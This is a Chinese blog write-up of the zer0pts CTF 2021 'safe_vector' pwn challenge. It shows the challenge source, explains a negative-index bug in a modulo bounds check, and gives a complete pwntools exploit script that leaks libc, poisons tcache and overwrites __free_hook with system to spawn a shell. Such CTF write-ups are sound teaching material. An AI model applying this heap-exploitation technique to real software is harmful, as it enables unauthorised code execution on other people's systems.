zer0pts CTF 2021 safe_vector

题目提供了elf文件和libc库,以及源代码,源码如下:

#include <iostream>
#include <vector>

template<typename T>
class safe_vector: public std::vector<T> {
public:
  void wipe() {
    std::vector<T>::resize(0);
    std::vector<T>::shrink_to_fit();
  }

  T& operator[](int index) {
    int size = std::vector<T>::size();
    if (size == 0) {
      throw "index out of bounds";
    }
    return std::vector<T>::operator[](index % size);
  }
};

using namespace std;

int menu() {
  int choice;
  cout << "1. push_back" << endl
       << "2. pop_back" << endl
       << "3. store" << endl
       << "4. load" << endl
       << "5. wipe" << endl
       << ">> ";
  cin >> choice;
  return choice;
}

int main() {
  safe_vector<uint32_t> arr;

  do {
    switch(menu()) {
    case 1:
      {
        int v;
        cout << "value: ";
        cin >> v;
        arr.push_back(v);
        break;
      }
    case 2:
      {
        arr.pop_back();
        cout << "popped" << endl;
        break;
      }
    case 3:
      {
        int i, v;
        cout << "index: ";
        cin >> i;
        cout << "value: ";
        cin >> v;
        arr[i] = v;
        break;
      }
    case 4:
      {
        int i;
        cout << "index: ";
        cin >> i;
        cout << "value: " << arr[i] << endl;
        break;
      }
    case 5:
      {
        arr.wipe();
        cout << "wiped" << endl;
        break;
      }
    default:
      return 0;
    }
  } while (cin.good());
  return 0;
}

__attribute__((constructor))
void setup() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
}

 

检查一下保护机制:

 

 

看一下libc的版本:strings libc.so.6 | grep 'libc'

 

glibc-2.31,拥有tcache机制,但是限制好像要比glibc-2.27多

 

看题目名称,应该是vector有问题

测试发现,可以输入一个负数作为idx,这样就可以访问到不属于当前chunk的数据

但是由于这句代码:std::vector<T>::operator[](index % size);

使得idx会对size取余,也就意味着负数的绝对值,不能超过size

 

为了拿到libc地址,需要绕过tcache chunk,拿到 unsorted chunk

这样,我就采用了很笨的一种方法,vector会自动调整数组大小,如果当前chunk不足以添加新元素,会释放掉当前chunk,申请较大的chunk

于是我就添加1000个元素,那么理所当然的拿到了一大堆tcache,以及一个unsorted chunk:

 

size是1000,那么-1000以内的idx都可以访问,-513和-514可以拿到unsorted chunk的bk指针(__malloc_hook+0x70),这样就拿到libc地址

脚本如下:

for i in range(1000):push_back(i)

show(-514)
sh.recvuntil("value: ")
libc_base=int(sh.recvline()[:-1])
show(-513)
sh.recvuntil("value: ")

libc_base+=int(sh.recvline()[:-1])*0x100000000
info(hex(libc_base))
libc_base-=(0x70+0x6f9b70)
free_hook=libc_base+0x6fbe48
sys=libc_base+0x384ee0

 

拿到libc了,然后wipe(),清空vector,之后从0x20的chunk开始申请

继续利用这个负数id做文章,我们把原本的0x20的chunk的size域写为0x50,然后wipe(),把这个chunk给释放掉

这样就拿到了一个0x50的tcache chunk,等会再添加元素就会申请到它

可以利用它来编辑下方chunk的数据,因为原本这个chunk是0x20的,但现在它被当做0x50的chunk,所以多出来的0x30,实质上就是其他chunk的chunk头和chunk体

这样就可以编辑下一个chunk的fd指针,让它指向free_hook

脚本如下:

wipe()
for i in range(3):push_back(i)
edit(-2,0x51)
wipe()

for i in range(6):push_back(0)
push_back(0x21)
push_back(0)

num=int(hex(free_hook)[-8:],16)
info(hex(num))
if num*2>0x100000000:num-=0x100000000
info(hex(num))
push_back(num)
push_back(int(hex(free_hook)[2:-8],16))

 

然后wipe(),从0x20的chunk开始申请,申请两次就能拿到free_hook了,注意现在添加的数据要为0,因为vector在更换chunk时会把它们拷贝到新的chunk,也就是__free__hook

现在可以编辑vector的内容,当前vector所在的空间就是__free_hook,那么在__free_hoo上写system,然后在新的chunk上写"sh"(0x6873)

脚本如下:

wipe()
push_back(0)
push_back(0)

num=int(hex(sys)[-8:],16)
info(hex(num))
if num*2>0x100000000:num-=0x100000000
info(hex(num))
edit(0,num)
edit(1,int(hex(free_hook)[2:-8],16))

push_back(0)
edit(0,0x6873)

 

 

完整的利用脚本如下:

#coding:utf-8

from pwn import *
#context.log_level="debug"

#sh=remote("pwn.ctf.zer0pts.com",9001)
#libc=ELF("./libc.so.6")

sh=process("./chall")
#sh=gdb.debug("./chall")
libc=ELF("./lib/libc.so.6")

def push_back(value):
    sh.sendlineafter(">>","1")
    sh.sendlineafter("value",str(value))

def pop_back():sh.sendlineafter(">>","2")

def edit(idx,value):
    sh.sendlineafter(">>","3")
    sh.sendlineafter("index",str(idx))
    sh.sendlineafter("value",str(value))
    
def show(idx):
    sh.sendlineafter(">>","4")
    sh.sendlineafter("index",str(idx))
    
def wipe():sh.sendlineafter(">>","5")


for i in range(1000):push_back(i)

show(-514)
sh.recvuntil("value: ")
libc_base=int(sh.recvline()[:-1])
show(-513)
sh.recvuntil("value: ")
libc_base+=int(sh.recvline()[:-1])*0x100000000

libc_base-=(0x70+libc.sym['__malloc_hook'])
free_hook=libc_base+libc.sym['__free_hook']
sys=libc_base+libc.sym['system']
info(hex(libc_base))

wipe()
for i in range(3):push_back(i)
edit(-2,0x51)
wipe()

for i in range(6):push_back(0)
push_back(0x21)
push_back(0)

num=int(hex(free_hook)[-8:],16)
info(hex(num))
if num*2>0x100000000:num-=0x100000000
info(hex(num))
push_back(num)
push_back(int(hex(free_hook)[2:-8],16))

wipe()
push_back(0)
push_back(0)

num=int(hex(sys)[-8:],16)
info(hex(num))
if num*2>0x100000000:num-=0x100000000
info(hex(num))
edit(0,num)
edit(1,int(hex(free_hook)[2:-8],16))

push_back(0)
edit(0,0x6873)

sh.interactive()

 

posted @ 2021-03-07 23:31  田埂  阅读(212)  评论(0编辑  收藏  举报